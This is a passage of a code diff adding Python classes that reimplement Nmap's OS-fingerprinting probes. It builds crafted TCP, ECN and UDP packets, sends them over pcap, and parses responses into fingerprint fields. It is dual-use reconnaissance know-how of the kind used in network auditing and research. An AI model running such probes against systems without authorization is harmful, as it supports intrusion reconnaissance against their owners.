+        self.t = TCP()
+        self.i.set_ip_src(addresses[0])
+        self.i.set_ip_dst(addresses[1])
+        self.i.set_ip_id(0x2323) # HARDCODED
+        self.t.set_th_sport(id)
+
+        if open_port:        
+            self.target_port = tcp_ports[0]
+        else:
+            self.target_port = tcp_ports[1]
+                
+        self.t.set_th_dport(self.target_port)
+        
+        self.e.contains(self.i)
+        self.i.contains(self.t)
+        self.set_packet(self.e)
+        
+        self.source_ip = addresses[0]
+        self.target_ip = addresses[1]
+
+    def socket_match(self, ip, tcp):
+        # scr ip and port
+        if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port):
+            return 0
+        # dst ip and port
+        if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()):
+            return 0
+        return 1
+
+    def is_mine(self, packet):
+        if packet.get_ether_type() != IP.ethertype:
+            return 0
+        ip = packet.child()
+        if not ip or ip.get_ip_p() != TCP.protocol:
+            return 0
+        tcp = ip.child()
+        if self.socket_match(ip, tcp):
+            return 1
+
+        return 0        
+
+
+class nmap_tcp_probe(tcp_probe):
+
+    def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):
+        tcp_probe.__init__(self, id, addresses, tcp_ports, open_port)
+        self.t.set_th_seq(sequence)
+        self.set_resp(False)
+        for op in options:
+            self.t.add_option(op)
+
+    def set_resp(self,resp):
+        pass
+
+class nmap1_tcp_probe(nmap_tcp_probe):
+    sequence = 0x8453 # 0xBASE, obviously
+    mss = 265
+
+    # From: https://nmap.org/nmap-fingerprinting-old.html
+    # [...]
+    # Nmap sends these options along with almost every probe packet:
+    #   Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;
+    # [...]
+    # From nmap-4.22SOC8/osscan.cc:get_fingerprint(...)
+    # [...]
+    # "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000"
+    # [...]
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\003\003\012
+        TCPOption(TCPOption.TCPOPT_NOP), #\001
+        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\010\012\077\077\077\077\000\000\000\000
+        TCPOption(TCPOption.TCPOPT_EOL), #\000
+        TCPOption(TCPOption.TCPOPT_EOL) #\000
+    ]
+
+    def __init__(self, id, addresses, tcp_ports, open_port):
+        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, 
+                                self.sequence, self.tcp_options)
+
+    def set_resp(self,resp):
+        if resp:
+            self.add_result("Resp", "Y")
+        else:
+            self.add_result("Resp", "N")
+
+    def process(self, packet):
+        ip = packet.child()
+        tcp = ip.child()
+
+        self.set_resp(True)
+
+        if ip.get_ip_df():
+            self.add_result("DF", "Y")
+        else:
+            self.add_result("DF", "N")
+
+        self.add_result("W", tcp.get_th_win())
+
+        if tcp.get_th_ack() == self.sequence + 1:
+            self.add_result("ACK", "S++")
+        elif tcp.get_th_ack() == self.sequence:
+            self.add_result("ACK", "S")
+        else:
+            self.add_result("ACK", "O")
+
+        flags = []
+
+        # TCP flags
+        if tcp.get_ECE():
+            flags.append("B")
+        if tcp.get_URG():
+            flags.append("U")
+        if tcp.get_ACK():
+            flags.append("A")
+        if tcp.get_PSH():
+            flags.append("P")
+        if tcp.get_RST():
+            flags.append("R")
+        if tcp.get_SYN():
+            flags.append("S")
+        if tcp.get_FIN():
+            flags.append("F")
+
+        self.add_result("FLAGS", flags)
+
+        options = []
+
+        for op in tcp.get_options():
+            if op.get_kind() == TCPOption.TCPOPT_EOL:
+                options.append("L")
+            elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:
+                options.append("M")
+                if op.get_mss() == self.mss:
+                    options.append("E") # Echoed
+            elif op.get_kind() == TCPOption.TCPOPT_NOP:
+                options.append("N")
+            elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:
+                options.append("T")
+            elif op.get_kind() == TCPOption.TCPOPT_WINDOW:
+                options.append("W")
+
+        self.add_result("OPTIONS", options)
+
+    def get_final_result(self):
+        return {self.test_id(): self.get_result_dict()}
+
+
+class nmap2_tcp_probe(nmap_tcp_probe):
+    acknowledgment = 0x181d4f7b
+
+    def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):
+        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, 
+                                sequence, options)
+        self.t.set_th_ack(self.acknowledgment)
+
+    def set_resp(self,resp):
+        # Responsiveness (R)
+        # This test simply records whether the target responded to a given probe. 
+        # Possible values are Y and N. If there is no reply, remaining fields 
+        # for the test are omitted.
+        if resp:
+            self.add_result("R", "Y")
+        else:
+            self.add_result("R", "N")
+
+    def process(self, packet):
+        ip = packet.child()
+        tcp = ip.child()
+
+        # R, DF, T*, TG*, W, S, A, F, O, RD*, Q
+        self.set_resp(True)
+
+        tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment)
+
+        self.add_result("DF", tests.get_df())
+        self.add_result("W", tests.get_win())
+        self.add_result("S", tests.get_seq())
+        self.add_result("A", tests.get_ack())
+        self.add_result("F", tests.get_flags())
+        self.add_result("O", tests.get_options())
+        self.add_result("Q", tests.get_quirks())
+
+    def get_final_result(self):
+        return {self.test_id() : self.get_result_dict()}
+
+
+class nmap2_ecn_probe(nmap_tcp_probe):
+    # From nmap-4.22SOC8/osscan2.cc:
+    # [...]
+    # "\003\003\012\001\002\004\005\264\004\002\001\001"
+    # [...]
+
+    # From: https://nmap.org/book/osdetect-methods.html
+    # [...]
+    # This probe tests for explicit congestion notification (ECN) support 
+    # in the target TCP stack. ECN is a method for improving Internet 
+    # performance by allowing routers to signal congestion problems before 
+    # they start having to drop packets. It is documented in RFC 3168. 
+    # Nmap tests this by sending a SYN packet which also has the ECN CWR 
+    # and ECE congestion control flags set. For an unrelated (to ECN) test, 
+    # the urgent field value of 0xF7F5 is used even though the urgent flag 
+    # is not set. The acknowledgment number is zero, sequence number is 
+    # random, window size field is three, and the reserved bit which 
+    # immediately precedes the CWR bit is set. TCP options are WScale (10), 
+    # NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an 
+    # open port.
+    # [...]
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\003\003\012
+        TCPOption(TCPOption.TCPOPT_NOP), #\001
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\002\004\005\0264
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\004\002
+        TCPOption(TCPOption.TCPOPT_NOP), #\001
+        TCPOption(TCPOption.TCPOPT_NOP) #\001
+    ]
+
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, 
+                                0x8b6a, self.tcp_options)
+        self.t.set_SYN()
+        self.t.set_CWR()
+        self.t.set_ECE()
+        self.t.set_flags(0x800)
+        self.t.set_th_urp(0xF7F5)
+        self.t.set_th_ack(0)
+        self.t.set_th_win(3)
+        #self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000
+
+    def test_id(self):
+        return "ECN"
+
+    def set_resp(self,resp):
+        if resp:
+            self.add_result("R", "Y")
+        else:
+            self.add_result("R", "N")
+
+    def process(self, packet):
+        ip = packet.child()
+        tcp = ip.child()
+
+        # R, DF, T*, TG*, W, O, CC, Q
+        self.set_resp(True)
+
+        tests = nmap2_tcp_tests(ip, tcp, 0, 0)
+
+        self.add_result("DF", tests.get_df())
+        self.add_result("W", tests.get_win())
+        self.add_result("O", tests.get_options())
+        self.add_result("CC", tests.get_cc())
+        self.add_result("Q", tests.get_quirks())
+
+    def get_final_result(self):
+        return {self.test_id() : self.get_result_dict()}
+
+class nmap2_tcp_tests:
+    def __init__(self, ip, tcp, sequence, acknowledgment):
+        self.__ip = ip
+        self.__tcp = tcp
+        self.__sequence = sequence
+        self.__acknowledgment = acknowledgment
+
+    def get_df(self):
+        # IP don't fragment bit (DF)
+        # The IP header contains a single bit which forbids routers from fragmenting 
+        # a packet. If the packet is too large for routers to handle, they will just 
+        # have to drop it (and ideally return a "destination unreachable,
+        # fragmentation needed" response). This test records Y if the bit is set, 
+        # and N if it isn't.
+        if self.__ip.get_ip_df():
+            return "Y"
+        else:
+            return "N"
+
+    def get_win(self):
+        # TCP initial window size (W, W1-W6)
+        # This test simply records the 16-bit TCP window size of the received packet. 
+        return "%X" % self.__tcp.get_th_win()
+
+    def get_ack(self):
+        # TCP acknowledgment number (A)
+        # This test is the same as S except that it tests how the acknowledgment 
+        # number in the response compares to the sequence number in the 
+        # respective probe.
+        # Value	Description
+        # Z	    Acknowledgment number is zero.
+        # S	    Acknowledgment number is the same as the sequence number in the probe.
+        # S+	Acknowledgment number is the same as the sequence number in the probe plus one.
+        # O	    Acknowledgment number is something else (other).
+        if self.__tcp.get_th_ack() == self.__sequence + 1:
+            return "S+"
+        elif self.__tcp.get_th_ack() == self.__sequence:
+            return "S"
+        elif self.__tcp.get_th_ack() == 0:
+            return "Z"
+        else:
+            return "O"
+
+    def get_seq(self):
+        # TCP sequence number (S)
+        # This test examines the 32-bit sequence number field in the TCP 
+        # header. Rather than record the field value as some other tests 
+        # do, this one examines how it compares to the TCP acknowledgment 
+        # number from the probe that elicited the response. 
+        # Value	    Description
+        # Z	        Sequence number is zero.
+        # A	        Sequence number is the same as the acknowledgment number in the probe.
+        # A+	    Sequence number is the same as the acknowledgment number in the probe plus one.
+        # O	        Sequence number is something else (other).
+        if self.__tcp.get_th_seq() == self.__acknowledgment + 1:
+            return "A+"
+        elif self.__tcp.get_th_seq() == self.__acknowledgment:
+            return "A"
+        elif self.__tcp.get_th_seq() == 0:
+            return "Z"
+        else:
+            return "O"
+
+    def get_flags(self):
+        # TCP flags (F)
+        # This field records the TCP flags in the response. Each letter represents 
+        # one flag, and they occur in the same order as in a TCP packet (from 
+        # high-bit on the left, to the low ones). So the value SA represents the 
+        # SYN and ACK bits set, while the value AS is illegal (wrong order). 
+        # The possible flags are shown in Table 8.7.
+        # Character	Flag name	            Flag byte value
+        # E	        ECN Echo (ECE)	        64
+        # U	        Urgent Data (URG)	    32
+        # A	        Acknowledgment (ACK)	16
+        # P	        Push (PSH)	            8
+        # R	        Reset (RST)	            4
+        # S	        Synchronize (SYN)	    2
+        # F	        Final (FIN)	            1
+        
+        flags = ""
+
+        if self.__tcp.get_ECE():
+            flags += "E"
+        if self.__tcp.get_URG():
+            flags += "U"
+        if self.__tcp.get_ACK():
+            flags += "A"
+        if self.__tcp.get_PSH():
+            flags += "P"
+        if self.__tcp.get_RST():
+            flags += "R"
+        if self.__tcp.get_SYN():
+            flags += "S"
+        if self.__tcp.get_FIN():
+            flags += "F"
+
+        return flags
+
+    def get_options(self):
+        # Option Name	                    Character    Argument (if any)
+        # End of Options List (EOL)	        L	         
+        # No operation (NOP)	            N	         
+        # Maximum Segment Size (MSS)	    M	         The value is appended. Many systems 
+        #                                                echo the value used in the corresponding probe.
+        # Window Scale (WS)	                W	         The actual value is appended.
+        # Timestamp (TS)	                T	         The T is followed by two binary characters 
+        #                                                representing the TSval and TSecr values respectively. 
+        #                                                The characters are 0 if the field is zero 
+        #                                                and 1 otherwise.
+        # Selective ACK permitted (SACK)	S	        
+
+        options = ""
+        
+        for op in self.__tcp.get_options():
+            if op.get_kind() == TCPOption.TCPOPT_EOL:
+                options += "L"
+            elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:
+                options += "M%X" % (op.get_mss())
+            elif op.get_kind() == TCPOption.TCPOPT_NOP:
+                options += "N"
+            elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:
+                options += "T%i%i" % (int(op.get_ts()!=0),
+                                      int(op.get_ts_echo()!=0))
+            elif op.get_kind() == TCPOption.TCPOPT_WINDOW:
+                options += "W%X" % (op.get_shift_cnt())
+            elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED:
+                options += "S"
+
+        return options
+
+    def get_cc(self):
+        # Explicit congestion notification (CC)
+        # This test is only used for the ECN probe. That probe is a SYN packet 
+        # which includes the CWR and ECE congestion control flags. When the 
+        # response SYN/ACK is received, those flags are examined to set the 
+        # CC (congestion control) test value as described in Table 8.3.
+
+        # Table 8.3. CC test values
+        # Value	Description
+        # Y	    Only the ECE bit is set (not CWR). This host supports ECN.
+        # N	    Neither of these two bits is set. The target does not support 
+        #       ECN.
+        # S	    Both bits are set. The target does not support ECN, but it 
+        #       echoes back what it thinks is a reserved bit.
+        # O	    The one remaining combination of these two bits (other).
+        ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR()
+        if ece and not cwr:
+            return "Y"
+        elif not ece and not cwr:
+            return "N"
+        elif ece and cwr:
+            return "S"
+        else:
+            return "O"
+
+    def get_quirks(self):
+        # TCP miscellaneous quirks (Q)
+        # This tests for two quirks that a few implementations have in their 
+        # TCP stack. The first is that the reserved field in the TCP header 
+        # (right after the header length) is nonzero. This is particularly 
+        # likely to happen in response to the ECN test as that one sets a 
+        # reserved bit in the probe. If this is seen in a packet, an "R"
+        # is recorded in the Q string.
+
+        # The other quirk Nmap tests for is a nonzero urgent pointer field 
+        # value when the URG flag is not set. This is also particularly 
+        # likely to be seen in response to the ECN probe, which sets a 
+        # non-zero urgent field. A "U" is appended to the Q string when 
+        # this is seen.
+
+        # The Q string must always be generated in alphabetical order. 
+        # If no quirks are present, the Q test is empty but still shown.
+
+        quirks = ""
+
+        if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0:
+            quirks += "R"
+        if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0:
+            quirks += "U"
+
+        return quirks
+
+class nmap2_tcp_probe_2_6(nmap2_tcp_probe):
+    sequence = 0x8453 # 0xBASE, obviously
+    mss = 265
+
+    # From nmap-4.22SOC8/osscan2.cc:
+    # [...]
+    # "\003\003\012\001\002\004\001\011\010\012\377\377\377\377\000\000\000\000\004\002"
+    # [...]
+
+    # From: https://nmap.org/book/osdetect-methods.html
+    # [...]
+    # The six T2 through T7 tests each send one TCP probe packet. 
+    # With one exception, the TCP options data in each case is (in hex) 
+    # 03030A0102040109080AFFFFFFFF000000000402. 
+    # Those 20 bytes correspond to window scale (10), NOP, MSS (265), 
+    # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted. 
+    # (...
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\003\003\012
+        TCPOption(TCPOption.TCPOPT_NOP), #\001
+        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002
+    ]
+
+    def __init__(self, id, addresses, tcp_ports, open_port):
+        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, 
+                                 self.sequence, self.tcp_options)
+
+class nmap2_tcp_probe_7(nmap2_tcp_probe):
+    sequence = 0x8453 # 0xBASE, obviously
+    mss = 265
+
+    # ...)
+    # The exception is that T7 uses a Window scale value of 15 rather than 10
+    # [...]
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_WINDOW, 0o17), #\003\003\017
+        TCPOption(TCPOption.TCPOPT_NOP), #\001
+        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\002\004\001\011
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\010\012\377\377\377\377\000\000\000\000
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\004\002
+    ]
+
+    def __init__(self, id, addresses, tcp_ports, open_port):
+        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, 
+                                 self.sequence, self.tcp_options)
+
+class nmap_port_unreachable(udp_closed_probe):
+
+    def __init__(self, id, addresses, ports):
+        udp_closed_probe.__init__(self, id, addresses, ports[2])
+        self.set_resp(False)
+
+    def test_id(self):
+        pass
+
+    def set_resp(self, resp):
+        pass
+
+    def process(self, packet):
+        pass
+
+class nmap1_port_unreachable(nmap_port_unreachable):
+
+    def __init__(self, id, addresses, ports):
+        nmap_port_unreachable.__init__(self, id, addresses, ports)
+        self.u.contains(Data("A" * 300))
+
+    def test_id(self):
+        return "PU"
+
+    def set_resp(self,resp):
+        if resp:
+            self.add_result("Resp", "Y")
+        else:
+            self.add_result("Resp", "N")
+
+    def process(self, packet):
+        ip_orig = self.err_data
+        if ip_orig.get_ip_p() != UDP.protocol:
+            return
+
+        udp = ip_orig.child()
+
+        if not udp:
+            return
+
+        ip = packet.child()
+
+        self.set_resp(True)
+
+        if ip.get_ip_df():
+            self.add_result("DF", "Y")
+        else:
+            self.add_result("DF", "N")
+
+        self.add_result("TOS", ip.get_ip_tos())
+
+        self.add_result("IPLEN", ip.get_ip_len())
+
+        self.add_result("RIPTL", ip_orig.get_ip_len()) # Some systems return a different IPLEN
+
+        recv_ip_id = ip_orig.get_ip_id()
+        if 0 == recv_ip_id:
+            self.add_result("RID", "0")
+        elif udp_closed_probe.ip_id == recv_ip_id:
+            self.add_result("RID", "E")
+        else:
+            self.add_result("RID", "F")
+
+        ip_sum = ip_orig.get_ip_sum()
+        ip_orig.set_ip_sum(0)
+        checksum = ip_orig.compute_checksum(ip_orig.get_bytes())
+
+        if 0 == checksum:
+            self.add_result("RIPCK", "0")
+        elif checksum == ip_sum:
+            self.add_result("RIPCK", "E")
+        else:
+            self.add_result("RIPCK", "F")
+
+        udp_sum = udp.get_uh_sum()
+        udp.set_uh_sum(0)
+        udp.auto_checksum = 1
+        udp.calculate_checksum()
+
+        if 0 == udp_sum:
+            self.add_result("UCK", "0")
+        elif self.u.get_uh_sum() == udp_sum:
+            self.add_result("UCK", "E")
+        else:
+            self.add_result("UCK", "F")
+            
+        self.add_result("ULEN", udp.get_uh_ulen())
+
+        if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data
+            self.add_result("DAT", "E")
+        else:
+            self.add_result("DAT", "F")
+
+    def get_final_result(self):
+        return {self.test_id(): self.get_result_dict()}        
+
+class nmap2_port_unreachable(nmap_port_unreachable):
+    # UDP (U1)
+    # This probe is a UDP packet sent to a closed port. The character 'C'
+    # (0x43) is repeated 300 times for the data field. The IP ID value is 
+    # set to 0x1042 for operating systems which allow us to set this. If 
+    # the port is truly closed and there is no firewall in place, Nmap 
+    # expects to receive an ICMP port unreachable message in return. 
+    # That response is then subjected to the R, DF, T, TG, TOS, IPL, UN, 
+    # RIPL, RID, RIPCK, RUCK, RUL, and RUD tests. 
+    def __init__(self, id, addresses, ports):
+        nmap_port_unreachable.__init__(self, id, addresses, ports)
+        self.u.contains(Data("C" * 300))
+        self.i.set_ip_id(0x1042)
+
+    def test_id(self):
+        return "U1"
+
+    def set_resp(self,resp):
+        if resp:
+            self.add_result("R", "Y")
+        else:
+            self.add_result("R", "N")
+
+    def process(self, packet):
+        ip_orig = self.err_data
+        if ip_orig.get_ip_p() != UDP.protocol:
+            return
+
+        udp = ip_orig.child()
+
+        if not udp:
+            return
+
+        ip = packet.child()
+
+        icmp = ip.child()
+
+        if ip.get_ip_df():
+            self.add_result("DF", "Y")
+        else:
+            self.add_result("DF", "N")
+
+    # XXX T
+        # IP initial time-to-live (T)
+        # IP packets contain a field named time-to-live (TTL) which is 
+        # decremented every time they traverse a router. If the field 
+        # reaches zero, the packet must be discarded. This prevents 
+        # packets from looping endlessly. Because operating systems differ 
+        # on which TTL they start with, it can be used for OS detection. 
+        # Nmap determines how many hops away it is from the target by 
+        # examining the ICMP port unreachable response to the U1 probe. 
+        # That response includes the original IP packet, including the 
+        # already-decremented TTL field, received by the target. By 
+        # subtracting that value from our as-sent TTL, we learn how many 
+        # hops away the machine is. Nmap then adds that hop distance to 
+        # the probe response TTL to determine what the initial TTL was 
+        # when that ICMP probe response packet was sent. That initial TTL 
+        # value is stored in the fingerprint as the T result.
+        # Even though an eight-bit field like TTL can never hold values 
+        # greater than 0xFF, this test occasionally results in values of 
+        # 0x100 or higher. This occurs when a system (could be the source, 
+        # a target, or a system in between) corrupts or otherwise fails to
+        # correctly decrement the TTL. It can also occur due to asymmetric 
+        # routes.
+
+    # XXX TG
+        # IP initial time-to-live guess (TG)
+        # It is not uncommon for Nmap to receive no response to the U1 probe, 
+        # which prevents Nmap from learning how many hops away a target is. 
+        # Firewalls and NAT devices love to block unsolicited UDP packets. 
+        # But since common TTL values are spread well apart and targets are 
+        # rarely more than 20 hops away, Nmap can make a pretty good guess 
+        # anyway. Most systems send packets with an initial TTL of 32, 60, 64, 
+        # 128, or 255. So the TTL value received in the response is rounded 
+        # up to the next value out of 32, 64, 128, or 255. 60 is not in that 
+        # list because it cannot be reliably distinguished from 64. It is 
+        # rarely seen anyway. 
+        # The resulting guess is stored in the TG field. This TTL guess field 
+        # is not printed in a subject fingerprint if the actual TTL (T) value 
+        # was discovered.
+
+        # IP type of service (TOS)
+        # This test simply records the type of service byte from the 
+        # IP header of ICMP port unreachable packets. 
+        # This byte is described in RFC 791
+        self.add_result("TOS", "%X" % ip.get_ip_tos())
+
+        # IP total length (IPL)
+        # This test records the total length (in octets) of an IP packet. 
+        # It is only used for the port unreachable response elicited by the 
+        # U1 test.
+        self.add_result("IPL", "%X" % ip.get_ip_len())
+
+        # Unused port unreachable field nonzero (UN)
+        # An ICMP port unreachable message header is eight bytes long, but 
+        # only the first four are used. RFC 792 states that the last four 
+        # bytes must be zero. A few implementations (mostly ethernet switches 
+        # and some specialized embedded devices) set it anyway. The value of 
+        # those last four bytes is recorded in this field.
+        self.add_result("UN", "%X" % icmp.get_icmp_void()) 
+
+        # Returned probe IP total length value (RIPL)
+        # ICMP port unreachable messages (as are sent in response to the U1 
+        # probe) are required to include the IP header which generated them. 
+        # This header should be returned just as they received it, but some 
+        # implementations send back a corrupted version due to changes they 
+        # made during IP processing. This test simply records the returned 
+        # IP total length value. If the correct value of 0x148 (328) is 
+        # returned, the value G (for good) is stored instead of the actual value.
+        if ip_orig.get_ip_len() == 0x148:
+            self.add_result("RIPL","G")
+        else:
+            self.add_result("RIPL", "%X" % ip_orig.get_ip_len())
+
+        # Returned probe IP ID value (RID)
+        # The U1 probe has a static IP ID value of 0x1042. If that value is 
+        # returned in the port unreachable message, the value G is stored for 
+        # this test. Otherwise the exact value returned is stored. Some systems, 
+        # such as Solaris, manipulate IP ID values for raw IP packets that 
+        # Nmap sends. In such cases, this test is skipped. We have found 
+        # that some systems, particularly HP and Xerox printers, flip the bytes 
+        # and return 0x4210 instead. 
+        if 0x1042 == ip_orig.get_ip_id():
+            self.add_result("RID", "G")
+        else:
+            self.add_result("RID", "%X" % ip_orig.get_ip_id())
+
+        # Integrity of returned probe IP checksum value (RIPCK)
+        # The IP checksum is one value that we don't expect to remain the same 
+        # when returned in a port unreachable message. After all, each network 
+        # hop during transit changes the checksum as the TTL is decremented. 
+        # However, the checksum we receive should match the enclosing IP packet. 
+        # If it does, the value G (good) is stored for this test. If the returned 
+        # value is zero, then Z is stored. Otherwise the result is I (invalid).
+        ip_sum = ip_orig.get_ip_sum()
+        ip_orig.set_ip_sum(0)
+        checksum = ip_orig.compute_checksum(ip_orig.get_bytes())
+
+        if 0 == checksum:
+            self.add_result("RIPCK", "Z")
+        elif checksum == ip_sum:
+            self.add_result("RIPCK", "G")
+        else:
+            self.add_result("RIPCK", "I")
+
+        # Integrity of returned probe UDP length and checksum (RUL and RUCK)
+        # The UDP header length and checksum values should be returned exactly 
+        # as they were sent. If so, G is recorded for these tests. Otherwise 
+        # the value actually returned is recorded. The proper length is 0x134 (308).
+        udp_sum = udp.get_uh_sum()
+        udp.set_uh_sum(0)
+        udp.auto_checksum = 1
+        udp.calculate_checksum()
+
+        if self.u.get_uh_sum() == udp_sum:
+            self.add_result("RUCK", "G")
+        else:
+            self.add_result("RUCK", "%X" % udp_sum)
+            
+        if udp.get_uh_ulen() == 0x134:
+            self.add_result("RUL","G")
+        else:
+            self.add_result("RUL", "%X" % udp.get_uh_ulen())
+
+        # Integrity of returned UDP data (RUD)
+        # If the UDP payload returned consists of 300 'C' (0x43) 
+        # characters as expected, a G is recorded for this test. 
+        # Otherwise I (invalid) is recorded.
+        if ip.child().child().child().child() == udp.child():
+            self.add_result("RUD", "G")
+        else:
+            self.add_result("RUD", "I")
+
+    def get_final_result(self):
+        return {self.test_id(): self.get_result_dict()}        
+
+class OS_ID:
+
+    def __init__(self, target, ports):
+        pcap_dev = lookupdev()
+        self.p = open_live(pcap_dev, 600, 0, 3000)
+        
+        self.__source = self.p.getlocalip()
+        self.__target = target
+        
+        self.p.setfilter("src host %s and dst host %s" % (target, self.__source), 1, 0xFFFFFF00)
+        self.p.setmintocopy(10)
+        self.decoder = EthDecoder()
+        
+        self.tests_sent = []
+        self.outstanding_count = 0
+        self.results = {}
+        self.current_id = 12345
+
+        self.__ports = ports
+
+    def releasePcap(self):
+        if not (self.p is None):
+            self.p.close()
+
+    def get_new_id(self):
+        id = self.current_id
+        self.current_id += 1
+        self.current_id &= 0xFFFF
+        return id
+        
+    def send_tests(self, tests):
+        self.outstanding_count = 0
+        
+        for t_class in tests:
+
+            # Ok, I need to know if the constructor accepts the parameter port
+            # We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :(
+            if t_class.__init__.im_func.func_code.co_argcount == 4:
+                test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports )
+            else:
+                test = t_class(self.get_new_id(), [self.__source, self.__target] )
+
+            self.p.sendpacket(test.get_test_packet())
+            self.outstanding_count += 1
+            self.tests_sent.append(test)
+            while self.p.readready():
+                self.p.dispatch(1, self.packet_handler)
+
+        while self.outstanding_count > 0:
+            data = self.p.next()[0]
+            if data:
+                self.packet_handler(0, data)
+            else:                
+                break
+
+    def run(self):
+        pass
+
+    def get_source(self):
+        return self.__source
+
+    def get_target(self):
+        return self.__target
+
+    def get_ports(self):
+        return self.__ports
+
+    def packet_handler(self, len, data):
+        packet = self.decoder.decode(data)
+        
+        for t in self.tests_sent:
+            if t.is_mine(packet):
+                t.process(packet)
+                self.outstanding_count -= 1
+
+
+class nmap1_tcp_open_1(nmap1_tcp_probe):
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_ECE()
+        self.t.set_SYN()
+
+    def test_id(self):
+        return "T1"
+
+    def is_mine(self, packet):
+        if tcp_probe.is_mine(self, packet):
+            ip = packet.child()
+            if not ip:
+                return 0
+            tcp = ip.child()
+            if not tcp:
+                return 0
+            if tcp.get_SYN() and tcp.get_ACK():
+                return 1
+            else:
+                return 0
+        else:
+            return 0
+
+
+class nmap1_tcp_open_2(nmap1_tcp_probe):
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
+
+    def test_id(self):
+        return "T2"
+
+class nmap2_tcp_open_2(nmap2_tcp_probe_2_6):
+    # From: https://nmap.org/book/osdetect-methods.html
+    # [...]
+    # T2 sends a TCP null (no flags set) packet with the IP DF bit set and a 
+    # window field of 128 to an open port.
+    # ...
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
+        self.i.set_ip_df(1)
+        self.t.set_th_win(128)
+
+    def test_id(self):
+        return "T2"
+
+class nmap1_tcp_open_3(nmap1_tcp_probe):
+    def __init__(self, id, addresses, tcp_ports ):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_SYN()
+        self.t.set_FIN()
+        self.t.set_URG()
+        self.t.set_PSH()
+
+    def test_id(self):
+        return "T3"
+
+class nmap2_tcp_open_3(nmap2_tcp_probe_2_6):
+    # ...
+    # T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a 
+    # window field of 256 to an open port. The IP DF bit is not set.
+    # ...
+    def __init__(self, id, addresses, tcp_ports ):
+        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_SYN()
+        self.t.set_FIN()
+        self.t.set_URG()
+        self.t.set_PSH()
+        self.t.set_th_win(256)
+        self.i.set_ip_df(0)
+
+    def test_id(self):
+        return "T3"
+
+class nmap1_tcp_open_4(nmap1_tcp_probe):
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_ACK()
+
+    def test_id(self):
+        return "T4"
+
+class nmap2_tcp_open_4(nmap2_tcp_probe_2_6):
+    # ...
+    # T4 sends a TCP ACK packet with IP DF and a window field of 1024 to 
+    # an open port.
+    # ...
+    def __init__(self, id, addresses, tcp_ports ):
+        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_ACK()
+        self.i.set_ip_df(1)
+        self.t.set_th_win(1024)
+
+    def test_id(self):
+        return "T4"
+
+
+class nmap1_seq(nmap1_tcp_probe):
+    SEQ_UNKNOWN = 0
+    SEQ_64K = 1
+    SEQ_TD = 2
+    SEQ_RI = 4
+    SEQ_TR = 8
+    SEQ_i800 = 16
+    SEQ_CONSTANT = 32
+
+    TS_SEQ_UNKNOWN = 0
+    TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0
+    TS_SEQ_2HZ = 2
+    TS_SEQ_100HZ = 3
+    TS_SEQ_1000HZ = 4
+    TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp
+
+    IPID_SEQ_UNKNOWN = 0
+    IPID_SEQ_INCR = 1  # simple increment by one each time
+    IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms
